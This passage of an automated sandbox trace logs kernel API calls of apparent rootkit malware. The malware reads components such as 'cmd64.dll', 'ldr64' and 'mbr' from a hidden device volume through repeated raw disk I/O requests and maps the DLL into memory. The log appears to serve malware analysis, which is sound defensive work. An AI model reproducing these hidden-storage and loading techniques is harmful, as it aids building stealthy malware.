ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff800004f0, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0096.578] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0096.578] KeEnterCriticalRegion () [0096.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.578] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.578] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.578] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.578] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0096.578] IdePortDispatch () returned 0x103 [0096.579] KeWaitForMutexObject () returned 0x0 [0096.579] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0096.579] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0096.579] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.579] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.579] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.579] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.579] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.579] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0096.579] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0096.579] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0096.579] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0096.579] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037cf600 [0096.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.579] KeLeaveCriticalRegion () [0096.579] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.579] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800004f0 | out: SectionHandle=0xfffff88002f9d9e0*=0x14) returned 0x0 [0096.579] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0096.579] KeEnterCriticalRegion () [0096.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.579] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.579] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.579] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.579] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0096.579] IdePortDispatch () returned 0x103 [0096.579] KeWaitForMutexObject () returned 0x0 [0096.579] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0096.580] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0096.580] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.580] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.580] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.580] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.580] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.580] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0096.580] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0096.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.580] KeLeaveCriticalRegion () [0096.580] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.580] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800004f8, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0096.580] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0096.580] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0096.580] KeEnterCriticalRegion () [0096.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.580] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd0000 [0096.580] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.580] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.580] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.580] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.580] IdePortDispatch () returned 0x103 [0096.581] KeWaitForMutexObject () returned 0x0 [0096.581] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0096.581] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0096.581] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.581] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.581] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.581] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.581] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.581] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0096.581] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0096.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.581] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.581] IdePortDispatch () returned 0x103 [0096.581] KeWaitForMutexObject () returned 0x0 [0096.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.581] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.581] IdePortDispatch () returned 0x103 [0096.582] KeWaitForMutexObject () returned 0x0 [0096.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.582] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.582] IdePortDispatch () returned 0x103 [0096.582] KeWaitForMutexObject () returned 0x0 [0096.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.582] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.582] IdePortDispatch () returned 0x103 [0096.583] KeWaitForMutexObject () returned 0x0 [0096.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.583] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.583] IdePortDispatch () returned 0x103 [0096.583] KeWaitForMutexObject () returned 0x0 [0096.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.583] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.583] IdePortDispatch () returned 0x103 [0096.583] KeWaitForMutexObject () returned 0x0 [0096.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.584] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.584] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.584] IdePortDispatch () returned 0x103 [0096.584] KeWaitForMutexObject () returned 0x0 [0096.584] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.584] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.584] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.584] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.584] IdePortDispatch () returned 0x103 [0096.584] KeWaitForMutexObject () returned 0x0 [0096.584] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.584] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.584] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.584] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.584] IdePortDispatch () returned 0x103 [0096.585] KeWaitForMutexObject () returned 0x0 [0096.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.585] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.585] IdePortDispatch () returned 0x103 [0096.585] KeWaitForMutexObject () returned 0x0 [0096.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.585] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.585] IdePortDispatch () returned 0x103 [0096.586] KeWaitForMutexObject () returned 0x0 [0096.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.586] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.586] IdePortDispatch () returned 0x103 [0096.586] KeWaitForMutexObject () returned 0x0 [0096.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.586] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.586] IdePortDispatch () returned 0x103 [0096.586] KeWaitForMutexObject () returned 0x0 [0096.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.587] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.587] IdePortDispatch () returned 0x103 [0096.587] KeWaitForMutexObject () returned 0x0 [0096.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.587] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.587] IdePortDispatch () returned 0x103 [0096.587] KeWaitForMutexObject () returned 0x0 [0096.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.587] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.587] IdePortDispatch () returned 0x103 [0096.588] KeWaitForMutexObject () returned 0x0 [0096.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.588] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.588] IdePortDispatch () returned 0x103 [0096.588] KeWaitForMutexObject () returned 0x0 [0096.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.588] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.588] IdePortDispatch () returned 0x103 [0096.589] KeWaitForMutexObject () returned 0x0 [0096.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.589] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.589] IdePortDispatch () returned 0x103 [0096.589] KeWaitForMutexObject () returned 0x0 [0096.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.589] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.589] IdePortDispatch () returned 0x103 [0096.589] KeWaitForMutexObject () returned 0x0 [0096.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.589] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.589] IdePortDispatch () returned 0x103 [0096.590] KeWaitForMutexObject () returned 0x0 [0096.590] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.590] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.590] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.590] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.590] IdePortDispatch () returned 0x103 [0096.590] KeWaitForMutexObject () returned 0x0 [0096.590] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.590] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.590] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.590] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.590] IdePortDispatch () returned 0x103 [0096.591] KeWaitForMutexObject () returned 0x0 [0096.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.591] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.591] IdePortDispatch () returned 0x103 [0096.591] KeWaitForMutexObject () returned 0x0 [0096.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.591] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.591] IdePortDispatch () returned 0x103 [0096.591] KeWaitForMutexObject () returned 0x0 [0096.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.592] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.592] IdePortDispatch () returned 0x103 [0096.592] KeWaitForMutexObject () returned 0x0 [0096.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.592] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.592] IdePortDispatch () returned 0x103 [0096.592] KeWaitForMutexObject () returned 0x0 [0096.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.592] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.592] IdePortDispatch () returned 0x103 [0096.593] KeWaitForMutexObject () returned 0x0 [0096.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.593] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: 